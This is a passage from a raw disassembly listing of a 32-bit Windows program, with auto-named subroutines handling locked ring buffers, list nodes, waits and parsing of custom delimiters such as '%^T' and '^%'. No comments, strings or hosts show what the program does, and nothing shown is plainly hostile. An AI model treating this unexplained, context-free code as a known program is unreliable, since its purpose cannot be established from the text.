		mov	ebx, eax
		and	ebx, 0FFFFh


loc_4018B1:				; CODE XREF: sub_4017C3+DEj
		cmp	[ebp+var_10], 0
		jnz	short loc_4018C0
		call	ds:dword_4180CC
		mov	[ebp+var_4], eax


loc_4018C0:				; CODE XREF: sub_4017C3+F2j
		mov	eax, [ebp+var_20]
		dec	eax
		jz	short loc_4018DF
		dec	eax
		jnz	short loc_4018F3
		push	[ebp+var_14]
		mov	ecx, edi
		push	[ebp+arg_0]
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_8]
		call	sub_4016C3
		jmp	short loc_4018F3
; ---------------------------------------------------------------------------


loc_4018DF:				; CODE XREF: sub_4017C3+101j
		push	[ebp+var_14]
		mov	ecx, edi
		push	[ebp+arg_0]
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_8]
		call	sub_401621


loc_4018F3:				; CODE XREF: sub_4017C3+104j
					; sub_4017C3+11Aj
		push	0Ah
		call	ds:dword_4180C8
		push	1


loc_4018FD:				; CODE XREF: sub_4017C3+CCj
		push	0
		push	dword ptr [edi+4]
		call	esi
		test	eax, eax
		jnz	short loc_401891


loc_401908:				; CODE XREF: sub_4017C3+D8j
		push	[ebp+var_8]
		call	ds:dword_4181E4
		pop	ebx


loc_401912:				; CODE XREF: sub_4017C3+87j
					; sub_4017C3+ACj ...
		pop	edi
		pop	esi
		leave
		retn	4
sub_4017C3	endp


; =============== S U B	R O U T	I N E =======================================



sub_401918	proc near		; DATA XREF: sub_401A43+45o

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ecx
		push	ecx
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	ebx, ecx


loc_401920:				; CODE XREF: sub_401918+11Cj
		mov	edi, ds:dword_4180B0
		push	1
		push	0
		push	dword ptr [ebx]
		call	edi
		test	eax, eax
		jz	loc_401A3A
		push	1
		push	64h
		push	dword ptr [ebx+4]
		call	edi
		test	eax, eax
		jz	loc_401A2A
		mov	eax, [ebx+28h]
		test	eax, eax
		jz	loc_401A2A
		mov	[esp+18h+var_4], eax
		jmp	loc_401A0C
; ---------------------------------------------------------------------------


loc_40195B:				; CODE XREF: sub_401918+104j
		push	1
		push	0
		push	dword ptr [ebx]
		call	edi
		test	eax, eax
		jz	loc_401A22
		and	[esp+18h+var_8], 0
		cmp	dword ptr [esi+0Ch], 0
		jle	short loc_4019F4


loc_401976:				; CODE XREF: sub_401918+DAj
		push	1
		push	0
		push	dword ptr [ebx]
		call	edi
		test	eax, eax
		jz	short loc_4019F4
		push	10h
		call	sub_40CA18
		push	dword ptr [esi+4]
		mov	edi, eax
		call	sub_40CD83
		inc	eax
		push	eax
		call	sub_40CA18
		mov	[edi+4], eax
		push	dword ptr [esi+4]
		push	eax
		call	sub_40CD8E
		push	dword ptr [esi]
		call	sub_40CD83
		inc	eax
		push	eax
		call	sub_40CA18
		mov	[edi], eax
		push	dword ptr [esi]
		push	eax
		call	sub_40CD8E
		mov	eax, [esi+0Ch]
		add	esp, 24h
		mov	[edi+0Ch], eax
		mov	eax, [esi+8]
		lea	ebp, [ebx+8]
		push	edi
		mov	ecx, ebp
		mov	[edi+8], eax
		call	sub_40177E
		push	dword ptr [ebp+0]
		call	ds:dword_4180A4
		inc	[esp+18h+var_8]
		mov	eax, [esp+18h+var_8]
		cmp	eax, [esi+0Ch]
		mov	edi, ds:dword_4180B0
		jl	short loc_401976


loc_4019F4:				; CODE XREF: sub_401918+5Cj
					; sub_401918+68j
		push	dword ptr [esi+4]
		call	sub_40CCC5
		push	dword ptr [esi]
		call	sub_40CCC5
		push	esi
		call	sub_40CCC5
		add	esp, 0Ch


loc_401A0C:				; CODE XREF: sub_401918+3Ej
		lea	eax, [esp+18h+var_4]
		push	eax
		mov	ecx, ebx
		call	sub_40150A
		mov	esi, eax
		test	esi, esi
		jnz	loc_40195B


loc_401A22:				; CODE XREF: sub_401918+4Dj
		lea	ecx, [ebx+28h]
		call	sub_40DB00


loc_401A2A:				; CODE XREF: sub_401918+29j
					; sub_401918+34j
		push	1
		push	64h
		push	dword ptr [ebx]
		call	edi
		test	eax, eax
		jnz	loc_401920


loc_401A3A:				; CODE XREF: sub_401918+18j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		pop	ecx
		retn	4
sub_401918	endp


; =============== S U B	R O U T	I N E =======================================



sub_401A43	proc near		; CODE XREF: sub_405074+86p
		push	ebx
		push	esi
		push	edi
		push	1
		mov	esi, ecx
		call	sub_4012FC
		push	1
		lea	ecx, [esi+4]
		call	sub_4012FC
		xor	ebx, ebx
		mov	[esi+14h], ebx
		mov	[esi+10h], ebx
		mov	[esi+0Ch], ebx
		lea	edi, [esi+18h]
		lea	ecx, [esi+28h]
		mov	[edi+0Ch], ebx
		mov	[edi+8], ebx
		mov	[edi+4], ebx
		call	sub_40DB48
		mov	dword ptr [esi+14h], offset sub_4017C3
		mov	[esi+10h], esi
		mov	[esi+0Ch], ebx
		push	ebx
		mov	ecx, edi
		mov	dword ptr [edi+0Ch], offset sub_401918
		mov	[edi+8], esi
		mov	[edi+4], ebx
		call	sub_40174B
		pop	edi
		mov	eax, esi
		pop	esi
		pop	ebx
		retn
sub_401A43	endp


; =============== S U B	R O U T	I N E =======================================



sub_401AA0	proc near		; CODE XREF: sub_402624+22Ap
					; sub_402FCB+32p ...

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		call	sub_40CD83
		pop	ecx
		push	eax
		push	[esp+8+arg_0]
		mov	ecx, esi
		call	sub_40DBA2
		pop	esi
		retn	4
sub_401AA0	endp


; =============== S U B	R O U T	I N E =======================================



sub_401ABD	proc near		; CODE XREF: sub_409438+28p
					; sub_409588+30p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		push	dword ptr [ecx]
		call	sub_40CD44
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		inc	eax
		retn	4
sub_401ABD	endp


; =============== S U B	R O U T	I N E =======================================



sub_401AD2	proc near		; CODE XREF: sub_401FF5+16p
		push	esi
		mov	esi, ecx
		lea	ecx, [esi+4]
		call	sub_40DB48
		and	dword ptr [esi+8], 0
		mov	eax, esi
		pop	esi
		retn
sub_401AD2	endp


; =============== S U B	R O U T	I N E =======================================



sub_401AE5	proc near		; CODE XREF: sub_40235F+47p
					; sub_402400+84p ...
		push	esi
		mov	esi, ecx
		lea	ecx, [esi+8]
		call	sub_40DB59
		lea	ecx, [esi+4]
		pop	esi
		jmp	sub_40DB59
sub_401AE5	endp


; =============== S U B	R O U T	I N E =======================================



sub_401AF9	proc near		; CODE XREF: sub_4022BE+55p
					; sub_402512+16p
		push	esi
		mov	esi, ecx
		lea	ecx, [esi+4]
		call	sub_40DB48
		lea	ecx, [esi+8]
		call	sub_40DB48
		mov	eax, esi
		pop	esi
		retn
sub_401AF9	endp


; =============== S U B	R O U T	I N E =======================================



sub_401B10	proc near		; CODE XREF: sub_404B44+85p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_8]
		mov	eax, [eax]
		push	ebx
		push	esi
		mov	esi, ecx
		mov	ecx, [esp+8+arg_4]
		push	edi
		mov	edi, [ecx]
		mov	ecx, [esp+0Ch+arg_0]
		mov	ebx, [ecx]
		push	eax
		call	sub_40CE59
		pop	ecx
		push	eax
		push	edi
		push	ebx
		lea	ecx, [esi+14h]
		call	sub_409588
		pop	edi
		pop	esi
		pop	ebx
		retn	0Ch
sub_401B10	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401B3F	proc near		; CODE XREF: sub_402624+1FDp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		xor	ebx, ebx
		xor	eax, eax
		cmp	[ebp+arg_8], ebx
		jz	short loc_401B5C
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	[ebp+arg_8]
		call	sub_40DB2F
		cmp	eax, ebx
		jz	short loc_401B93


loc_401B5C:				; CODE XREF: sub_401B3F+Bj
		mov	ecx, [ebp+arg_0]
		push	esi
		push	eax
		push	offset asc_41820C ; "<"
		call	sub_40DB2F
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_401B92
		mov	ecx, [ebp+arg_0]
		inc	esi
		push	esi
		push	offset asc_418208 ; ">"
		call	sub_40DB2F
		cmp	eax, ebx
		jz	short loc_401B92
		mov	ecx, [ebp+arg_4]
		sub	eax, esi
		push	eax
		push	esi
		call	sub_40DB5E
		mov	bl, 1


loc_401B92:				; CODE XREF: sub_401B3F+30j
					; sub_401B3F+43j
		pop	esi


loc_401B93:				; CODE XREF: sub_401B3F+1Bj
		mov	al, bl
		pop	ebx
		pop	ebp
		retn	0Ch
sub_401B3F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401B9A	proc near		; CODE XREF: sub_402624+1C8p

var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		push	0
		push	[ebp+arg_4]
		mov	ecx, esi
		mov	[ebp+var_1], 0
		call	sub_40DB2F
		mov	edi, eax
		test	edi, edi
		jz	short loc_401C26
		lea	ecx, [ebp+arg_4]
		call	sub_40DB48
		push	edi
		push	offset asc_41820C ; "<"
		mov	ecx, esi
		call	sub_40DB2F
		mov	edi, eax
		test	edi, edi
		jz	short loc_401C1E
		mov	eax, [esi]
		mov	ecx, edi
		sub	ecx, eax
		inc	ecx
		push	ecx
		push	eax
		lea	ecx, [ebp+arg_4]
		call	sub_40DB5E
		push	0
		push	[ebp+arg_8]
		lea	ecx, [ebp+arg_4]
		call	sub_40DBA2
		inc	edi
		push	edi
		push	offset asc_418208 ; ">"
		mov	ecx, esi
		call	sub_40DB2F
		test	eax, eax
		lea	ecx, [ebp+arg_4]
		jz	short loc_401C21
		push	0
		push	eax
		call	sub_40DBA2
		lea	eax, [ebp+arg_4]
		push	eax
		mov	ecx, esi
		call	sub_40DC39
		mov	[ebp+var_1], 1


loc_401C1E:				; CODE XREF: sub_401B9A+38j
		lea	ecx, [ebp+arg_4]


loc_401C21:				; CODE XREF: sub_401B9A+6Bj
		call	sub_40DB59


loc_401C26:				; CODE XREF: sub_401B9A+1Dj
		mov	al, [ebp+var_1]
		pop	edi
		pop	esi
		leave
		retn	0Ch
sub_401B9A	endp


; =============== S U B	R O U T	I N E =======================================



sub_401C2F	proc near		; CODE XREF: sub_4021DE+35p
		push	esi
		xor	eax, eax
		mov	esi, ecx
		push	2000h
		push	eax
		mov	[esi+2004h], eax
		push	esi
		mov	[esi+2000h], eax
		call	sub_40CCD9
		add	esp, 0Ch
		mov	eax, esi
		pop	esi
		retn
sub_401C2F	endp


; =============== S U B	R O U T	I N E =======================================



sub_401C53	proc near		; CODE XREF: sub_401ED1+1Cp
					; sub_4022BE+81p

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		mov	ebx, ecx
		push	edi
		lea	ebp, [ebx+2000h]


loc_401C5F:				; CODE XREF: sub_401C53+43j
		mov	esi, [ebp+0]
		xor	edi, edi


loc_401C64:				; CODE XREF: sub_401C53+36j
		push	0
		push	[esp+14h+arg_0]
		lea	eax, [edi+esi]
		and	eax, 7FFh
		lea	eax, [ebx+eax*4]
		push	eax
		call	ds:dword_4180D0
		test	eax, eax
		jz	short loc_401C98
		cmp	edi, 800h
		jz	short loc_401C8B
		inc	edi
		jmp	short loc_401C64
; ---------------------------------------------------------------------------


loc_401C8B:				; CODE XREF: sub_401C53+33j
		push	3E8h
		call	ds:dword_4180C8
		jmp	short loc_401C5F
; ---------------------------------------------------------------------------


loc_401C98:				; CODE XREF: sub_401C53+2Bj
		push	ebp
		call	ds:dword_4180E4
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn	4
sub_401C53	endp


; =============== S U B	R O U T	I N E =======================================



sub_401CA6	proc near		; CODE XREF: sub_402400+92p
					; .text:00402AA2p
		push	esi
		lea	esi, [ecx+2004h]
		mov	eax, [esi]
		and	eax, 7FFh
		lea	eax, [ecx+eax*4]
		push	edi
		mov	edi, [eax]
		test	edi, edi
		jz	short loc_401CD7
		push	edi
		push	0
		push	eax
		call	ds:dword_4180D0
		test	eax, eax
		jz	short loc_401CD7
		push	esi
		call	ds:dword_4180E4
		mov	eax, edi
		jmp	short loc_401CD9
; ---------------------------------------------------------------------------


loc_401CD7:				; CODE XREF: sub_401CA6+16j
					; sub_401CA6+24j
		xor	eax, eax


loc_401CD9:				; CODE XREF: sub_401CA6+2Fj
		pop	edi
		pop	esi
		retn
sub_401CA6	endp


; =============== S U B	R O U T	I N E =======================================



sub_401CDC	proc near		; CODE XREF: sub_4021DE+40p
		push	esi
		xor	eax, eax
		mov	esi, ecx
		push	3000h
		push	eax
		mov	[esi+3004h], eax
		push	esi
		mov	[esi+3000h], eax
		call	sub_40CCD9
		add	esp, 0Ch
		mov	eax, esi
		pop	esi
		retn
sub_401CDC	endp


; =============== S U B	R O U T	I N E =======================================



sub_401D00	proc near		; CODE XREF: sub_401E66+20p

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	ecx
		push	ebx
		push	ebp
		mov	ebp, ds:dword_4180D0
		push	esi
		mov	esi, ecx
		lea	eax, [esi+3000h]
		push	edi
		mov	edi, [eax]
		xor	ebx, ebx
		mov	[esp+14h+var_4], eax
		push	ebx
		mov	eax, edi
		jmp	short loc_401D2E
; ---------------------------------------------------------------------------


loc_401D20:				; CODE XREF: sub_401D00+43j
		cmp	ebx, 0C00h
		jz	short loc_401D59
		inc	ebx
		push	0
		lea	eax, [ebx+edi]


loc_401D2E:				; CODE XREF: sub_401D00+1Ej
		xor	edx, edx
		mov	ecx, 0C00h
		div	ecx
		push	[esp+18h+arg_0]
		lea	eax, [esi+edx*4]
		push	eax
		call	ebp
		test	eax, eax
		jnz	short loc_401D20
		push	[esp+14h+var_4]
		call	ds:dword_4180E4
		mov	al, 1


loc_401D51:				; CODE XREF: sub_401D00+5Bj
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn	4
; ---------------------------------------------------------------------------


loc_401D59:				; CODE XREF: sub_401D00+26j
		xor	al, al
		jmp	short loc_401D51
sub_401D00	endp


; =============== S U B	R O U T	I N E =======================================



sub_401D5D	proc near		; CODE XREF: sub_402103+4Ap
					; sub_402400+B5p
		push	esi
		push	edi
		lea	esi, [ecx+3004h]
		mov	eax, [esi]
		xor	edx, edx
		mov	edi, 0C00h
		div	edi
		lea	eax, [ecx+edx*4]
		mov	edi, [eax]
		test	edi, edi
		jz	short loc_401D92
		push	edi
		push	0
		push	eax
		call	ds:dword_4180D0
		test	eax, eax
		jz	short loc_401D92
		push	esi
		call	ds:dword_4180E4
		mov	eax, edi
		jmp	short loc_401D94
; ---------------------------------------------------------------------------


loc_401D92:				; CODE XREF: sub_401D5D+1Aj
					; sub_401D5D+28j
		xor	eax, eax


loc_401D94:				; CODE XREF: sub_401D5D+33j
		pop	edi
		pop	esi
		retn
sub_401D5D	endp


; =============== S U B	R O U T	I N E =======================================



sub_401D97	proc near		; CODE XREF: sub_402624+19Fp
		push	esi
		mov	esi, ecx
		push	edi
		mov	edi, [esi]
		test	edi, edi
		jz	short loc_401DB2
		mov	ecx, edi
		call	sub_402BDD
		push	edi
		call	sub_40D0B6
		and	dword ptr [esi], 0
		pop	ecx


loc_401DB2:				; CODE XREF: sub_401D97+8j
		pop	edi
		pop	esi
		retn
sub_401D97	endp


; =============== S U B	R O U T	I N E =======================================



sub_401DB5	proc near		; CODE XREF: sub_40235F+76p
					; sub_402400+6Bp ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	ebx
		mov	ebx, [eax+4]
		push	ebp
		push	esi
		mov	esi, [eax+8]
		push	edi
		mov	edi, [eax+0Ch]
		push	eax
		mov	ebp, ecx
		call	sub_40D0B6
		test	esi, esi
		pop	ecx
		jz	short loc_401DD6
		mov	[esi+0Ch], edi


loc_401DD6:				; CODE XREF: sub_401DB5+1Cj
		test	edi, edi
		jz	short loc_401DDF
		mov	[edi+8], esi
		jmp	short loc_401DE2
; ---------------------------------------------------------------------------


loc_401DDF:				; CODE XREF: sub_401DB5+23j
		mov	[ebp+0], esi


loc_401DE2:				; CODE XREF: sub_401DB5+28j
		pop	edi
		pop	esi
		pop	ebp
		mov	eax, ebx
		pop	ebx
		retn	4
sub_401DB5	endp


; =============== S U B	R O U T	I N E =======================================



sub_401DEB	proc near		; CODE XREF: sub_4021A1+Cp
		push	esi
		mov	esi, ecx
		lea	ecx, [esi+4]
		call	sub_40DB59
		mov	ecx, esi
		pop	esi
		jmp	sub_401205
sub_401DEB	endp


; =============== S U B	R O U T	I N E =======================================



sub_401DFE	proc near		; CODE XREF: sub_401FF5+FDp
					; sub_402400+53p
		push	esi
		push	edi
		mov	edi, ecx
		mov	esi, [edi+8]
		test	esi, esi
		jz	short loc_401E17
		mov	ecx, esi
		call	sub_402BDD
		push	esi
		call	sub_40D0B6
		pop	ecx


loc_401E17:				; CODE XREF: sub_401DFE+9j
		lea	ecx, [edi+4]
		pop	edi
		pop	esi
		jmp	sub_40DB59
sub_401DFE	endp


; =============== S U B	R O U T	I N E =======================================



sub_401E21	proc near		; CODE XREF: sub_402400+Fp
		push	ebx
		push	esi
		push	edi
		mov	esi, ecx
		push	dword ptr [esi+50A0h]
		call	ds:dword_4180A8
		lea	ecx, [esi+5090h]
		call	sub_40B150
		xor	ebx, ebx
		xor	edi, edi
		cmp	[esi+508Ch], ebx
		jbe	short loc_401E62


loc_401E49:				; CODE XREF: sub_401E21+3Fj
		mov	ecx, [esi+5088h]
		add	ecx, ebx
		call	sub_40B150
		inc	edi
		add	ebx, 10h
		cmp	edi, [esi+508Ch]
		jb	short loc_401E49


loc_401E62:				; CODE XREF: sub_401E21+26j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_401E21	endp


; =============== S U B	R O U T	I N E =======================================



sub_401E66	proc near		; CODE XREF: sub_402624+400p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		call	ds:dword_4180CC
		mov	ecx, [esp+4+arg_0]
		inc	dword ptr [ecx+10h]
		cmp	dword ptr [ecx+10h], 3
		mov	[ecx+0Ch], eax
		jge	short loc_401E93
		push	ecx
		lea	ecx, [esi+205Ch]
		call	sub_401D00
		test	al, al
		jz	short loc_401E93
		mov	al, 1
		jmp	short loc_401E95
; ---------------------------------------------------------------------------


loc_401E93:				; CODE XREF: sub_401E66+17j
					; sub_401E66+27j
		xor	al, al


loc_401E95:				; CODE XREF: sub_401E66+2Bj
		pop	esi
		retn	4
sub_401E66	endp


; =============== S U B	R O U T	I N E =======================================



sub_401E99	proc near		; CODE XREF: sub_405675+1CFp
		push	esi
		mov	esi, ecx
		cmp	dword ptr [esi+5064h], 0
		jnz	short loc_401EA9
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_401EA9:				; CODE XREF: sub_401E99+Aj
		cmp	dword ptr [esi+5080h], 0C800h
		jg	short loc_401ECC
		call	ds:dword_4180CC
		sub	eax, [esi+5084h]
		cmp	eax, 0DBBA0h
		ja	short loc_401ECC
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_401ECC:				; CODE XREF: sub_401E99+1Aj
					; sub_401E99+2Dj
		xor	eax, eax
		inc	eax
		pop	esi
		retn
sub_401E99	endp


; =============== S U B	R O U T	I N E =======================================



sub_401ED1	proc near		; CODE XREF: sub_402103+53p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		mov	eax, [esi+2000h]
		push	edi
		lea	edi, [esi+2004h]
		mov	ecx, [edi]
		cmp	eax, ecx
		jnz	short loc_401EF4
		push	[esp+8+arg_0]
		mov	ecx, esi
		call	sub_401C53
		jmp	short loc_401F39
; ---------------------------------------------------------------------------


loc_401EF4:				; CODE XREF: sub_401ED1+14j
		push	ebx
		push	ebp


loc_401EF6:				; CODE XREF: sub_401ED1+5Dj
		mov	eax, [edi]
		xor	ebp, ebp
		mov	ebx, eax


loc_401EFC:				; CODE XREF: sub_401ED1+50j
		push	0
		push	[esp+14h+arg_0]
		mov	eax, ebx
		and	eax, 7FFh
		lea	eax, [esi+eax*4]
		push	eax
		call	ds:dword_4180D0
		test	eax, eax
		jz	short loc_401F30
		cmp	ebp, 800h
		jz	short loc_401F23
		inc	ebp
		dec	ebx
		jmp	short loc_401EFC
; ---------------------------------------------------------------------------


loc_401F23:				; CODE XREF: sub_401ED1+4Cj
		push	3E8h
		call	ds:dword_4180C8
		jmp	short loc_401EF6
; ---------------------------------------------------------------------------


loc_401F30:				; CODE XREF: sub_401ED1+44j
		push	edi
		call	ds:dword_4180E8
		pop	ebp
		pop	ebx


loc_401F39:				; CODE XREF: sub_401ED1+21j
		pop	edi
		pop	esi
		retn	4
sub_401ED1	endp


; =============== S U B	R O U T	I N E =======================================



sub_401F3E	proc near		; CODE XREF: sub_402512+76p
					; sub_402624+58p ...

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	esi, ecx
		lea	edi, [esi+4]
		push	edi
		call	ds:dword_4180DC
		push	[esp+8+arg_0]
		mov	ecx, esi
		call	sub_408DA2
		test	eax, eax
		jz	short loc_401F6C
		mov	esi, [eax+4]


loc_401F5E:				; CODE XREF: sub_401F3E+30j
		push	edi
		call	ds:dword_4180E0
		pop	edi
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_401F6C:				; CODE XREF: sub_401F3E+1Bj
		xor	esi, esi
		jmp	short loc_401F5E
sub_401F3E	endp


; =============== S U B	R O U T	I N E =======================================



sub_401F70	proc near		; CODE XREF: sub_402172+9p
					; sub_40235F+60p ...
		mov	eax, [ecx]
		test	eax, eax
		jz	short locret_401F84
		and	dword ptr [ecx], 0
		and	dword ptr [ecx+4], 0
		push	eax
		call	sub_40CCC5
		pop	ecx

locret_401F84:				; CODE XREF: sub_401F70+4j
		retn
sub_401F70	endp


; =============== S U B	R O U T	I N E =======================================



sub_401F85	proc near		; CODE XREF: sub_4022A0+Cp
					; sub_402624+DBp ...
		push	esi
		mov	esi, ecx
		cmp	dword ptr [esi], 0
		jz	short loc_401FB6
		push	edi
		xor	edi, edi
		cmp	[esi+4], edi
		jbe	short loc_401FA5


loc_401F95:				; CODE XREF: sub_401F85+1Ej
		mov	eax, [esi]
		lea	ecx, [eax+edi*4]
		call	sub_40DB59
		inc	edi
		cmp	edi, [esi+4]
		jb	short loc_401F95


loc_401FA5:				; CODE XREF: sub_401F85+Ej
		mov	eax, [esi]
		and	dword ptr [esi], 0
		and	dword ptr [esi+4], 0
		push	eax
		call	sub_40CCC5
		pop	ecx
		pop	edi


loc_401FB6:				; CODE XREF: sub_401F85+6j
		pop	esi
		retn
sub_401F85	endp


; =============== S U B	R O U T	I N E =======================================



sub_401FB8	proc near		; CODE XREF: sub_405675+16Bp
		push	esi
		push	edi
		mov	esi, ecx
		xor	edi, edi
		cmp	[esi+508Ch], edi
		jbe	short loc_401FE5
		push	ebx
		xor	ebx, ebx


loc_401FC9:				; CODE XREF: sub_401FB8+2Aj
		mov	ecx, [esi+5088h]
		push	0
		add	ecx, ebx
		call	sub_40174B
		inc	edi
		add	ebx, 10h
		cmp	edi, [esi+508Ch]
		jb	short loc_401FC9
		pop	ebx


loc_401FE5:				; CODE XREF: sub_401FB8+Cj
		push	0
		lea	ecx, [esi+5090h]
		call	sub_40174B
		pop	edi
		pop	esi
		retn
sub_401FB8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401FF5	proc near		; CODE XREF: sub_404AB9+75p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		push	0Ch
		mov	[ebp+var_4], ecx
		call	sub_40D0BB
		test	eax, eax
		pop	ecx
		jz	short loc_402014
		mov	ecx, eax
		call	sub_401AD2
		mov	esi, eax
		jmp	short loc_402016
; ---------------------------------------------------------------------------


loc_402014:				; CODE XREF: sub_401FF5+12j
		xor	esi, esi


loc_402016:				; CODE XREF: sub_401FF5+1Dj
		mov	eax, [ebp+arg_4]
		push	ebx
		push	edi
		mov	edi, [ebp+arg_8]
		push	0
		mov	[esi], eax
		push	dword ptr [edi]
		lea	ebx, [esi+4]
		mov	ecx, ebx
		call	sub_40DB5E
		and	dword ptr [esi+8], 0
		push	0
		push	offset aT	; "%^T"
		mov	ecx, edi
		call	sub_40DB2F
		mov	edi, eax
		test	edi, edi
		jz	loc_4020D9
		add	edi, 3
		push	edi
		push	offset asc_418214 ; "^%"
		mov	ecx, ebx
		call	sub_40DB2F
		test	eax, eax
		jz	short loc_4020D9
		sub	eax, edi
		mov	ebx, eax
		push	ebx
		call	sub_40D0BB
		lea	ecx, [ebp+arg_8]
		push	ecx
		push	eax
		push	ebx
		push	edi
		mov	[ebp+arg_4], eax
		mov	[ebp+arg_8], ebx
		call	sub_40C4D1
		add	esp, 14h
		test	al, al
		jnz	short loc_40208C
		cmp	[ebp+arg_4], 0
		jz	short loc_4020D9
		push	[ebp+arg_4]
		jmp	short loc_4020D3
; ---------------------------------------------------------------------------


loc_40208C:				; CODE XREF: sub_401FF5+8Aj
		push	2Ch
		call	sub_40D0BB
		test	eax, eax
		pop	ecx
		jz	short loc_4020A3
		mov	ecx, eax
		call	sub_402BAC
		mov	edi, eax
		jmp	short loc_4020A5
; ---------------------------------------------------------------------------


loc_4020A3:				; CODE XREF: sub_401FF5+A1j
		xor	edi, edi


loc_4020A5:				; CODE XREF: sub_401FF5+ACj
		push	[ebp+arg_8]
		mov	ebx, [ebp+arg_4]
		push	ebx
		mov	ecx, edi
		call	sub_402C86
		test	al, al
		jnz	short loc_4020CB
		test	edi, edi
		jz	short loc_4020CE
		mov	ecx, edi
		call	sub_402BDD
		push	edi
		call	sub_40D0B6
		pop	ecx
		jmp	short loc_4020CE
; ---------------------------------------------------------------------------


loc_4020CB:				; CODE XREF: sub_401FF5+C0j
		mov	[esi+8], edi


loc_4020CE:				; CODE XREF: sub_401FF5+C4j
					; sub_401FF5+D4j
		test	ebx, ebx
		jz	short loc_4020D9
		push	ebx


loc_4020D3:				; CODE XREF: sub_401FF5+95j
		call	sub_40D0B6
		pop	ecx


loc_4020D9:				; CODE XREF: sub_401FF5+4Fj
					; sub_401FF5+67j ...
		mov	ecx, [ebp+var_4]
		push	esi
		push	[ebp+arg_0]
		add	ecx, 38h
		call	sub_408F07
		mov	esi, eax
		test	esi, esi
		pop	edi
		pop	ebx
		jz	short loc_4020FE
		mov	ecx, esi
		call	sub_401DFE
		push	esi
		call	sub_40D0B6
		pop	ecx


loc_4020FE:				; CODE XREF: sub_401FF5+F9j
		pop	esi
		leave
		retn	0Ch
sub_401FF5	endp


; =============== S U B	R O U T	I N E =======================================



sub_402103	proc near		; DATA XREF: sub_4021DE+A1o
		push	ebp
		mov	ebp, ds:dword_4180B0
		push	esi
		push	1
		mov	esi, ecx
		push	64h
		push	dword ptr [esi+50A0h]
		call	ebp
		test	eax, eax
		jz	short loc_40216D
		push	ebx
		push	edi
		lea	edi, [esi+205Ch]


loc_402125:				; CODE XREF: sub_402103+66j
		mov	eax, [edi+3004h]
		xor	edx, edx
		mov	ecx, 0C00h
		div	ecx
		mov	ebx, [edi+edx*4]
		test	ebx, ebx
		jz	short loc_40215B
		call	ds:dword_4180CC
		sub	eax, [ebx+0Ch]
		cmp	eax, 927C0h
		jbe	short loc_40215B
		mov	ecx, edi
		call	sub_401D5D
		push	eax
		lea	ecx, [esi+54h]
		call	sub_401ED1


loc_40215B:				; CODE XREF: sub_402103+36j
					; sub_402103+46j
		push	1
		push	64h
		push	dword ptr [esi+50A0h]
		call	ebp
		test	eax, eax
		jnz	short loc_402125
		pop	edi
		pop	ebx


loc_40216D:				; CODE XREF: sub_402103+18j
		pop	esi
		pop	ebp
		retn	4
sub_402103	endp


; =============== S U B	R O U T	I N E =======================================



sub_402172	proc near		; CODE XREF: sub_402AD3+10p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		cmp	dword ptr [esi], 0
		push	edi
		jz	short loc_402180
		call	sub_401F70


loc_402180:				; CODE XREF: sub_402172+7j
		mov	edi, [esp+8+arg_0]
		mov	eax, edi
		shl	eax, 4
		push	1
		push	eax
		call	sub_40CA2C
		test	eax, eax
		pop	ecx
		pop	ecx
		mov	[esi], eax
		jz	short loc_40219C
		mov	[esi+4], edi


loc_40219C:				; CODE XREF: sub_402172+25j
		pop	edi
		pop	esi
		retn	4
sub_402172	endp


; =============== S U B	R O U T	I N E =======================================



sub_4021A1	proc near		; CODE XREF: sub_402624+2B4p
					; sub_402624+40Cp ...
		push	esi
		mov	esi, ecx
		push	edi
		mov	edi, [esi]
		test	edi, edi
		jz	short loc_4021BC
		mov	ecx, edi
		call	sub_401DEB
		push	edi
		call	sub_40D0B6
		and	dword ptr [esi], 0
		pop	ecx


loc_4021BC:				; CODE XREF: sub_4021A1+8j
		pop	edi
		pop	esi
		retn
sub_4021A1	endp


; =============== S U B	R O U T	I N E =======================================



sub_4021BF	proc near		; CODE XREF: sub_4021DE+25p
		push	esi
		mov	esi, ecx
		lea	eax, [esi+0Ch]
		mov	dword ptr [esi], offset	off_41821C
		and	dword ptr [esi+4], 0
		and	dword ptr [esi+8], 0
		push	eax
		call	ds:dword_4180D4
		mov	eax, esi
		pop	esi
		retn
sub_4021BF	endp


; =============== S U B	R O U T	I N E =======================================



